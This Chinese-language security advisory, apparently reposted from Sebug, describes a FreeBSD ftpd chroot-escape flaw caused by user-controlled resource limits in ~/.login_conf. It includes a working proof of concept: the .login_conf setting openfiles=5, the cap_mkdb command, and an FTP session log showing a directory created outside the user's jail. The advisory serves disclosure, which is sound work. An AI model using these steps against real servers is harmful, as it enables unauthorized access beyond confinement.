FreeBSD ftpd setusercontext()远程权限提升漏洞
来源:岁月联盟
时间:2009-10-06
FreeBSD 7.0
FreeBSD 5.0漏洞描述:
BUGTRAQ ID: 36119
FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统。
FreeBSD及其他一些BSD系统有一个用于设置用户上下文的功能,如FreeBSD中的setusercontext()函数:
setusercontext(lc, pw, (uid_t)0,
LOGIN_SETLOGIN|LOGIN_SETGROUP|LOGIN_SETPRIORITY|
LOGIN_SETRESOURCES|LOGIN_SETUMASK);
其中的LOGIN_SETRESOURCES设置允许用户设置资源。根据用户手册所述:
LOGIN_SETRESOURCES 根据系统登录类数据库中所指定的值为当前进程设置资源限制。使用类功能标签,可选择-cur(软限制)或-max(硬限制)后缀及相关的资源设置:
cputime RLIMIT_CPU
filesize RLIMIT_FSIZE
datasize RLIMIT_DATA
stacksize RLIMIT_STACK
coredumpsize RLIMIT_CORE
memoryuse RLIMIT_RSS
memorylocked RLIMIT_MEMLOCK
maxproc RLIMIT_NPROC
openfiles RLIMIT_NOFILE
sbsize RLIMIT_SBSIZE
vmemoryuse RLIMIT_VMEM
远程安全者可以利用这些选项设置自己的~/.login_conf配置。例如,将openfiles设置为5就可以绕过ftpd.c中的chroot()限制。<*参考
Kingcope (kingcope@gmx.net)
链接:http://milw0rm.com/exploits/9489
*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有安全性,仅供安全研究与教学之用,风险自负!---snip---
%cat /etc/ftpchroot
kcope
%cat .login_conf
me:/
:openfiles=5:
%cap_mkdb .login_conf
%ftp 192.168.2.4
Connected to 192.168.2.4.
220 FTP server (Version 6.00LS) ready.
Name (192.168.2.4:root): kcope
331 Password required for kcope.
Password:
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /usr/home/kcope
ftp> mkdir /tmp/foobar
257 "/tmp/foobar" directory created.
ftp> ls
425 Can’t open passive connection: Too many open files.
425 Can’t open passive connection: Too many open files.
200 PORT command successful.
550 /bin/ls -lgA: Too many open files.
ftp>
---snip---
SEBUG安全建议:
厂商补丁:
FreeBSD
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.freebsd.org/security/index.html